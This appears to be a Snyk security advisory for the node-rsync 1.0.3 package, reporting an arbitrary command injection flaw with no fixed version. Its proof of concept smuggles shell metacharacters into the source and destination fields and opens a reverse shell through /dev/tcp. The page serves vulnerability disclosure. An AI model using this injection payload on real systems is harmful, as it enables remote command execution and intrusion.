node-rsync@1.0.3 vulnerabilities

Rsync wrapper for Node.js

Direct Vulnerabilities

Known vulnerabilities in the node-rsync package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary Command Injection

node-rsync is a Rsync wrapper for Node.js

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

// Build the command
var rsync = new Rsync()
    .shell('ssh')
    .flags('az')
    .source(';/path/to/source')
    .destination('&sh</dev/tcp/127.0.0.1/4444');

// Execute the command
rsync.execute(function (error, code, cmd) {
    console.log(cmd)
});

How to fix Arbitrary Command Injection?

There is no fixed version for node-rsync.

*